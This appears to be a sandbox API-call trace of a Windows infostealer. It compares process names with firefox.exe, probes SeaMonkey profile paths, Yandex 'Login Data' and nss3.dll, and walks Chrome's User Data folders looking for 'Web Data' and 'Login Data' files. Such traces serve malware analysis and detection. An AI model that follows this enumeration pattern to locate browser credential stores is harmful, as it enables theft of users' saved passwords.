[0083.515] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\emerging anniversary muscle cradle.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="emerging anniversary muscle cradle.exe", _String2="firefox.exe") returned -1
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Windows Media Player\\herbs.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="herbs.exe", _String2="firefox.exe") returned 2
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Google\\paso_nylon_tests.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="paso_nylon_tests.exe", _String2="firefox.exe") returned 10
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Uninstall Information\\statewide-emergency.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="statewide-emergency.exe", _String2="firefox.exe") returned 13
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Windows Sidebar\\garageopinionsjoycecincinnati.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="garageopinionsjoycecincinnati.exe", _String2="firefox.exe") returned 1
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Java\\ping.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="ping.exe", _String2="firefox.exe") returned 10
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Windows Defender\\merit.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="merit.exe", _String2="firefox.exe") returned 7
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\silent_romantic.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="silent_romantic.exe", _String2="firefox.exe") returned 13
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Windows Portable Devices\\accredited-reject-transmitted.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="accredited-reject-transmitted.exe", _String2="firefox.exe") returned -5
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Windows Portable Devices\\project kent essay.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="project kent essay.exe", _String2="firefox.exe") returned 10
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Microsoft.NET\\cuisine-programs.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="cuisine-programs.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="WINWORD.EXE", _String2="firefox.exe") returned 17
[0083.515] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.515] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.515] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.515] _wcsicmp (_String1="", _String2="firefox.exe") returned -102
[0083.515] _wcsicmp (_String1="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="viewcom.exe", _String2="firefox.exe") returned 16
[0083.515] _wcsicmp (_String1="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="viewcom.exe", _String2="firefox.exe") returned 16
[0083.515] _wcsicmp (_String1="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="viewcom.exe", _String2="firefox.exe") returned 16
[0083.515] _wcsicmp (_String1="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", _String2="firefox.exe") returned -3
[0083.515] _wcsicmp (_String1="viewcom.exe", _String2="firefox.exe") returned 16
[0083.515] FreeLibrary (hLibModule=0x760d0000) returned 1
[0083.516] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12baa0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 1
[0083.516] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12b260, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0083.516] wcslen (_String="Mozilla\\SeaMonkey\\Profiles") returned 0x1a
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.516] wcscpy (in: _Dest=0x12b890, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.516] wcscat (in: _Dest=0x12b890, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.516] wcscat (in: _Dest=0x12b890, _Source="Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles"
[0083.516] wcslen (_String="Mozilla\\SeaMonkey\\Profiles") returned 0x1a
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.516] wcscpy (in: _Dest=0x12b680, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.516] wcscat (in: _Dest=0x12b680, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0083.516] wcscat (in: _Dest=0x12b680, _Source="Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles"
[0083.516] wcslen (_String="Mozilla\\SeaMonkey") returned 0x11
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.516] wcscpy (in: _Dest=0x12b470, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming"
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming") returned 0x23
[0083.516] wcscat (in: _Dest=0x12b470, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\"
[0083.516] wcscat (in: _Dest=0x12b470, _Source="Mozilla\\SeaMonkey" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey"
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3e
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3e
[0083.516] wcslen (_String="*.*") returned 0x3
[0083.516] wcscpy (in: _Dest=0x12a644, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles"
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles") returned 0x3e
[0083.516] wcscat (in: _Dest=0x12a644, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\"
[0083.516] wcscat (in: _Dest=0x12a644, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*"
[0083.516] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\Profiles\\*.*", lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 0xffffffff
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c
[0083.516] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c
[0083.516] wcslen (_String="*.*") returned 0x3
[0083.517] wcscpy (in: _Dest=0x12a644, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles"
[0083.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles") returned 0x3c
[0083.517] wcscat (in: _Dest=0x12a644, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\"
[0083.517] wcscat (in: _Dest=0x12a644, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*"
[0083.517] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Mozilla\\SeaMonkey\\Profiles\\*.*", lpFindFileData=0x12a8cc | out: lpFindFileData=0x12a8cc) returned 0xffffffff
[0083.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned 0x35
[0083.517] wcslen (_String="profiles.ini") returned 0xc
[0083.517] wcscpy (in: _Dest=0x12a5f4, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey"
[0083.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey") returned 0x35
[0083.517] wcscat (in: _Dest=0x12a5f4, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\"
[0083.517] wcscat (in: _Dest=0x12a5f4, _Source="profiles.ini" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini"
[0083.517] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Mozilla\\SeaMonkey\\profiles.ini" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\mozilla\\seamonkey\\profiles.ini")) returned 0xffffffff
[0083.517] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\seamonkey.exe", ulOptions=0x0, samDesired=0x20019, phkResult=0x12bcc8 | out: phkResult=0x12bcc8*=0x0) returned 0x2
[0083.517] ExpandEnvironmentStringsW (in: lpSrc="%programfiles%\\Sea Monkey", lpDst=0x12cf20, nSize=0x104 | out: lpDst="C:\\Program Files\\Sea Monkey") returned 0x1c
[0083.517] wcslen (_String="C:\\Program Files\\Sea Monkey") returned 0x1b
[0083.517] wcslen (_String="nss3.dll") returned 0x8
[0083.517] wcscpy (in: _Dest=0x12bac0, _Source="C:\\Program Files\\Sea Monkey" | out: _Dest="C:\\Program Files\\Sea Monkey") returned="C:\\Program Files\\Sea Monkey"
[0083.517] wcslen (_String="C:\\Program Files\\Sea Monkey") returned 0x1b
[0083.517] wcscat (in: _Dest=0x12bac0, _Source="\\" | out: _Dest="C:\\Program Files\\Sea Monkey\\") returned="C:\\Program Files\\Sea Monkey\\"
[0083.517] wcscat (in: _Dest=0x12bac0, _Source="nss3.dll" | out: _Dest="C:\\Program Files\\Sea Monkey\\nss3.dll") returned="C:\\Program Files\\Sea Monkey\\nss3.dll"
[0083.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Sea Monkey\\nss3.dll" (normalized: "c:\\program files\\sea monkey\\nss3.dll")) returned 0xffffffff
[0083.517] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12cb00, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0083.517] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.518] wcslen (_String="Yandex\\YandexBrowser\\User Data\\Default\\Login Data") returned 0x31
[0083.518] wcscpy (in: _Dest=0x12cf20, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0083.518] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.518] wcscat (in: _Dest=0x12cf20, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0083.518] wcscat (in: _Dest=0x12cf20, _Source="Yandex\\YandexBrowser\\User Data\\Default\\Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data"
[0083.518] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\yandex\\yandexbrowser\\user data\\default\\login data")) returned 0xffffffff
[0083.518] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x12cf20, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0083.518] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.518] wcslen (_String="Google\\Chrome\\User Data") returned 0x17
[0083.518] wcscpy (in: _Dest=0x12cd10, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local"
[0083.518] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 0x21
[0083.518] wcscat (in: _Dest=0x12cd10, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\"
[0083.518] wcscat (in: _Dest=0x12cd10, _Source="Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.518] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.518] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.518] wcslen (_String="*.*") returned 0x3
[0083.518] wcscpy (in: _Dest=0x12b2e4, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.518] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.518] wcscat (in: _Dest=0x12b2e4, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.518] wcscat (in: _Dest=0x12b2e4, _Source="*.*" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\*.*"
[0083.518] FindFirstFileW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 0x191db0
[0083.537] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.537] wcslen (_String=".") returned 0x1
[0083.537] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.537] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.537] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.537] wcscat (in: _Dest=0x12b7bc, _Source="." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\.") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\."
[0083.537] wcscmp (_String1=".", _String2="..") returned -1
[0083.537] wcscmp (_String1=".", _String2=".") returned 0
[0083.537] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.539] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.539] wcslen (_String="..") returned 0x2
[0083.539] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.539] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.539] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.539] wcscat (in: _Dest=0x12b7bc, _Source=".." | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\..") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\.."
[0083.539] wcscmp (_String1="..", _String2="..") returned 0
[0083.539] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.539] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.539] wcslen (_String="CertificateTransparency") returned 0x17
[0083.539] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.539] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.539] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.539] wcscat (in: _Dest=0x12b7bc, _Source="CertificateTransparency" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
[0083.539] wcscmp (_String1="CertificateTransparency", _String2="..") returned 1
[0083.539] wcscmp (_String1="CertificateTransparency", _String2=".") returned 1
[0083.539] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x51
[0083.539] wcslen (_String="Web Data") returned 0x8
[0083.539] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
[0083.539] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x51
[0083.539] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\"
[0083.539] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data"
[0083.539] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\web data")) returned 0xffffffff
[0083.540] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x51
[0083.540] wcslen (_String="Login Data") returned 0xa
[0083.540] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
[0083.540] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 0x51
[0083.540] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\"
[0083.540] wcscat (in: _Dest=0x12b0b8, _Source="Login Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data"
[0083.540] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\Login Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\login data")) returned 0xffffffff
[0083.540] FindNextFileW (in: hFindFile=0x191db0, lpFindFileData=0x12b56c | out: lpFindFileData=0x12b56c) returned 1
[0083.540] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.540] wcslen (_String="Crashpad") returned 0x8
[0083.540] wcscpy (in: _Dest=0x12b7bc, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data"
[0083.540] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x39
[0083.540] wcscat (in: _Dest=0x12b7bc, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\"
[0083.540] wcscat (in: _Dest=0x12b7bc, _Source="Crashpad" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
[0083.540] wcscmp (_String1="Crashpad", _String2="..") returned 1
[0083.540] wcscmp (_String1="Crashpad", _String2=".") returned 1
[0083.540] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x42
[0083.540] wcslen (_String="Web Data") returned 0x8
[0083.540] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
[0083.540] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x42
[0083.540] wcscat (in: _Dest=0x12b0b8, _Source="\\" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\"
[0083.541] wcscat (in: _Dest=0x12b0b8, _Source="Web Data" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data"
[0083.541] GetFileAttributesW (lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Web Data" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\google\\chrome\\user data\\crashpad\\web data")) returned 0xffffffff
[0083.541] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x42
[0083.541] wcslen (_String="Login Data") returned 0xa
[0083.541] wcscpy (in: _Dest=0x12b0b8, _Source="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: _Dest="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
[0083.541] wcslen (_String="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 0x42
